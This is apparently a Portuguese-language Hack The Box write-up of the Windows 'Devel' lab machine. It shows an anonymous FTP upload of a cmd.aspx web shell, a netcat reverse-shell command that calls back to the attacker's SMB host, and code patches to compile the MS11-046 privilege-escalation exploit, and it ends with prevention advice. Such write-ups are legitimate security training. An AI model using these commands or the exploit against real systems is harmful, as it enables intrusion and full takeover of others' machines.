Devel - HTB Easy Machine - Português Brasil
Sobre
Devel, embora relativamente simples, demonstra os riscos de segurança associados a algumas configurações padrão de programas. É uma máquina de nível iniciante que pode ser completada usando exploits publicamente disponíveis.
Exploração
Enumeração
Começando por um scan com nmap, vemos duas portas abertas e um indício de que fazer upload direto para o servidor via FTP pode ser uma opção.
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
HTTP 80 TCP
Primeiro, é sempre bom analisar o que está disponível na porta 80; aqui vemos uma aplicação simples que redireciona para um site externo. No momento, nada explorável por HTTP.
FTP 21 TCP
Voltando ao FTP, descobrimos que o login anônimo funciona e nos permite fazer upload de arquivos maliciosos. Testei com um arquivo de texto simples.
┌── ➤ devel
└─ $ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:nika): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.
ftp> put nika.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
4 bytes sent in 0,0000 seconds (106,7865 kbytes/s)
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection.
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
09-07-25 02:43AM 4 nika.txt
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.
Conseguimos visualizar o arquivo enviado diretamente via servidor web por HTTP.
Ponto de Entrada
Temos aqui a vulnerabilidade CWE-434: Unrestricted Upload of File with Dangerous Type, que permite enviar um arquivo remotamente e fazê-lo ser executado pelo servidor alvo, uma falha séria que pode levar à execução remota de código.
Precisamos identificar o tipo de servidor para saber quais extensões ele pode executar, a pasta do FTP se chama aspnet_client, e checando o cabeçalho confirmamos que é um ambiente ASP.NET.
┌── ➤ devel
└─ $ curl -I http://10.10.10.5
HTTP/1.1 200 OK
Content-Length: 689
Content-Type: text/html
Last-Modified: Fri, 17 Mar 2017 14:37:30 GMT
Accept-Ranges: bytes
ETag: "37b5ed12c9fd21:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 06 Sep 2025 23:42:01 GMT
Para ASP.NET, temos cmd.aspx disponível em SecLists. Vamos encontrá-lo e trazê-lo para o diretório atual.
└─ $ locate cmd.aspx
/usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx
└─ $ cp /usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx .
Em seguida, enviamos o arquivo para o servidor FTP para que possamos executá-lo diretamente pela web.
ftp> put cmd.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1442 bytes sent in 0,0000 seconds (33,8886 Mbytes/s)
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
09-07-25 02:47AM 1442 cmd.aspx
03-17-17 05:37PM 689 iisstart.htm
09-07-25 02:43AM 4 nika.txt
03-17-17 05:37PM 184946 welcome.png
Tip
O que é cmd.aspx?
Um web shell simples em ASP.NET que pode ser enviado para um servidor vulnerável que aceite uploads de arquivo ou inclusão remota. Ao ser executado via servidor web, ele fornece ao atacante uma interface básica para execução de comandos diretamente no navegador. Essencialmente, funciona como uma backdoor: recebe entrada do usuário, passa para o terminal do sistema e retorna a saída na resposta da página. Em desafios, serve para demonstrar como um arquivo ASPX trivial pode escalar acesso do nível web para comandos do sistema.
Depois podemos acessar o cmd.aspx via HTTP e executar comandos.
Executar dir mostra que é definitivamente uma máquina Windows.
Shell Remoto
Agora o objetivo é obter um reverse shell mais completo para ganhar mais ações e escapar do diretório atual. Para isso, podemos usar uma conexão smb e o nc.exe.
Encontramos o arquivo de shell remoto. Copiamos para o diretório atual, criamos uma pasta que será usada para compartilhar arquivos e movemos o executável para essa pasta.
└─ $ locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
└─ $ cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
└─ $ mkdir smb
└─ $ mv nc.exe smb
Tip
O que é nc.exe?
Versão Windows do Netcat incluída no SecLists para uso em CTFs. Normalmente é enviada para servidores vulneráveis para estabelecer shells reversos ou bind shells, permitindo execução remota de comandos e acesso interativo. Demonstra como falhas de upload podem ser transformadas em controle remoto completo usando uma ferramenta de rede confiável.
Agora, para executar código remotamente a partir daqui, vamos usar o smbserver.py do Impacket para criar um servidor SMB que envie arquivos para a máquina alvo. Precisamos de três shells ativos.
Primeiro, inicie nosso servidor smb:
└─ $ sudo smbserver.py share smb
/usr/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_re
sources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg
_resources.html. The pkg_resources package is slated for removal as early as
2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.5,49159)
[*] AUTHENTICATE_MESSAGE (\,DEVEL)
[*] User DEVEL\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] AUTHENTICATE_MESSAGE (\,DEVEL)
[*] User DEVEL\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
Depois, nosso listener nc:
nc -lvnp 9001
E finalmente nosso payload:
\\10.10.16.6\share\nc.exe -e cmd.exe 10.10.16.6 9001
Tip
Como eu sei o meu IP?
Você pode obter executando o comando abaixo e copiando o IP do tun0:
└─ $ ifconfig
...SNIP
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.16.6 netmask 255.255.254.0 destination 10.10.16.6
...SNIP
Aqui está o shell remoto
┌── ➤ devel
└─ $ nc -lnvp 9001
Listening on 0.0.0.0 9001
whoami
Connection received on 10.10.10.5 49168
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
iis apppool\web
c:\windows\system32\inetsrv>
Parece que não conseguimos entrar nas pastas de usuários por enquanto.
c:\Users>cd babis
cd babis
Access is denied.
c:\Users>cd Administrator
cd Administrator
Access is denied.
Escalação de Privilégios
Primeiro vamos descobrir a versão do .NET:
c:\Users>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v2.0.50727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.5
Não conseguimos rodar winpeas, porque ele requer .Net >= 4.5.2. Então usamos o Watson, que é um script em C# para localizar vulnerabilidades no Windows. É um arquivo .sln que precisa ser compilado.
Tip
O que é um arquivo .sln?
Um arquivo .sln é uma Solution do Visual Studio. Ele organiza um ou mais projetos relacionados (C#, C++, VB.NET, etc.) em uma única solução dentro do Visual Studio.
Não sou familiar com Visual Studio e as versões mais novas não vêm com o .NET 3.5 instalado, então precisei baixar e instalar primeiro. Depois disso, pude abrir o .sln, compilar a aplicação em Release e configurar o build para x86 e .NET 3.5, como mostrado nas imagens abaixo.
Configuração da aplicação:
Configuração do build:
E em seguida build do Watson:
Depois disso, você verá a saída indicando onde o .exe foi salvo.
1>------ Build started: Project: Watson, Configuration: Release Any CPU ------
1>C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Microsoft.Common.CurrentVersion.targets(2110,5): warning MSB3267: The primary reference "System.Web.Extensions", which is a framework assembly, could not be resolved in the currently targeted framework. ".NETFramework,Version=v3.5,Profile=Client". To resolve this problem, either remove the reference "System.Web.Extensions" or retarget your application to a framework version which contains "System.Web.Extensions".
1> Watson -> E:\Watson\Watson\bin\Release\Watson.exe
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
Então você pode copiar o Watson.exe para seu diretório SMB e executar o executável para obter a saída listando as vulnerabilidades na máquina.
c:\windows\system32\inetsrv>\\10.10.16.6\share\Watson.exe
\\10.10.16.6\share\Watson.exe
__ __ _
/ / /\ \ \__ _| |_ ___ ___ _ __
\ \/ \/ / _` | __/ __|/ _ \| '_ \
\ /\ / (_| | |_\__ \ (_) | | | |
\/ \/ \__,_|\__|___/\___/|_| |_|
v2.0
@_RastaMouse
[*] OS Build number: 7600
[*] CPU Address Width: 32
[*] Process IntPtr Size: 4
[*] Using Windows path: C:\WINDOWS\System32
[*] Appears vulnerable to MS10-073
[>] Description: Kernel-mode drivers load unspecified keyboard layers improperly, which result in arbitrary code execution in the kernel.
[>] Exploit: https://www.exploit-db.com/exploits/36327/
[>] Notes: None.
[*] Appears vulnerable to MS10-092
[>] Description: When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with.Also, In a default configuration, normal users can read and write the task files that they have created.By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.
[>] Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms10_092_schelevator.rb
[>] Notes: None.
[*] Appears vulnerable to MS11-046
[>] Description: The Ancillary Function Driver (AFD) in afd.sys does not properly validate user-mode input, which allows local users to elevate privileges.
[>] Exploit: https://www.exploit-db.com/exploits/40564/
[>] Notes: None.
[*] Appears vulnerable to MS12-042
[>] Description: An EoP exists due to the way the Windows User Mode Scheduler handles system requests, which can be exploited to execute arbitrary code in kernel mode.
[>] Exploit: https://www.exploit-db.com/exploits/20861/
[>] Notes: None.
[*] Appears vulnerable to MS13-005
[>] Description: Due to a problem with isolating window broadcast messages in the Windows kernel, an attacker can broadcast commands from a lower Integrity Level process to a higher Integrity Level process, thereby effecting a privilege escalation.
[>] Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
[>] Notes: None.
[*] Finished. Found 5 vulns :)
Não é todo dia que temos tantos exploits disponíveis; para este caso, podemos usar MS11-046. Como podemos ver, a descrição bate com o que precisamos para escalar privilégios.
Copiando o .exe do GitHub e executando obtive o erro abaixo, então precisei baixar o código fonte 40564.c.
c:\Windows\System32\inetsrv>\\10.10.16.6\share\MS11-046.exe
\\10.10.16.6\share\MS11-046.exe
Program too big to fit in memory
Mas ao tentar compilar, obtive este erro:
┌── ➤ devel
└─ $ i686-w64-mingw32-gcc 40564.c -o MS11-046.exe
40564.c: In function ‘main’:
40564.c:488:5: error: too many arguments to function ‘ZwQuerySystemInformatio
n’; expected 0, have 4
488 | ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &syst
emInformation);
| ^~~~~~~~~~~~~~~~~~~~~~~~ ~~
40564.c:502:5: error: too many arguments to function ‘ZwQuerySystemInformatio
n’; expected 0, have 4
502 | ZwQuerySystemInformation(11, systemInformationBuffer, systemInfor
mation * sizeof(*systemInformationBuffer), NULL);
| ^~~~~~~~~~~~~~~~~~~~~~~~ ~~
Com a ajuda do Copilot, corrigi o código e rodei de novo; dessa vez consegui compilar com sucesso.
i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32
Para registro, você pode colocar o código abaixo na linha 183
typedef NTSTATUS (WINAPI *PZWQUERYSYSTEMINFORMATION) (
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
E substituir as linhas 490 e 491 pelo código abaixo
PZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZwQuerySystemInformation = (PZWQUERYSYSTEMINFORMATION) GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
Voltando à máquina em execução, com o novo MS11-046.exe podemos elevar privilégios e obter as flags.
c:\Windows\System32>\\10.10.16.6\share\MS11-046.exe
\\10.10.16.6\share\MS11-046.exe
c:\Windows\System32>whoami
whoami
nt authority\system
USER
c:\Users\babis\Desktop>type user.txt
type user.txt
2c592c7f.....
ROOT
c:\Users\Administrator\Desktop>type root.txt
type root.txt
4fd659a6b.....
Como Prevenir
O primeiro e mais importante ponto é que o serviço FTP nunca deve permitir acesso anônimo. Exigindo autenticação adequada e restringindo permissões de escrita, você impede imediatamente que atacantes façam upload de arquivos arbitrários que possam ser executados pelo servidor web.
Além disso, o servidor web não deve expor o diretório de upload do FTP para requisições HTTP. Separar locais de upload internos do conteúdo publicamente acessível ajuda a bloquear a execução de arquivos maliciosos como cmd.aspx.
Manter o sistema operacional e o software instalado atualizados também é crítico. Neste caso, a elevação de privilégios só foi possível porque a máquina rodava uma build antiga do Windows vulnerável a múltiplos exploits em nível de kernel. Um bom gerenciamento de patches elimina esses vetores de ataque.
Outra prática recomendada é impor restrições e validações de tipo de arquivo quando uploads forem necessários. Permita apenas extensões específicas, verifique tipos MIME e saneie entradas de usuários para evitar execução de formatos perigosos.
Por fim, aplicar o princípio do menor privilégio nas contas e serviços (como pools de aplicação do IIS) reduz o impacto caso ocorra um comprometimento, o atacante terá, por padrão, acesso mínimo. Combinando essas medidas, mesmo se uma defesa falhar, as outras reduzem consideravelmente as chances de comprometimento total do sistema.
Notas
Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.
Referências
The master 0xdf
Watson Seacher
CWE-434
SecLists
MS11-046 Exploit
Impacket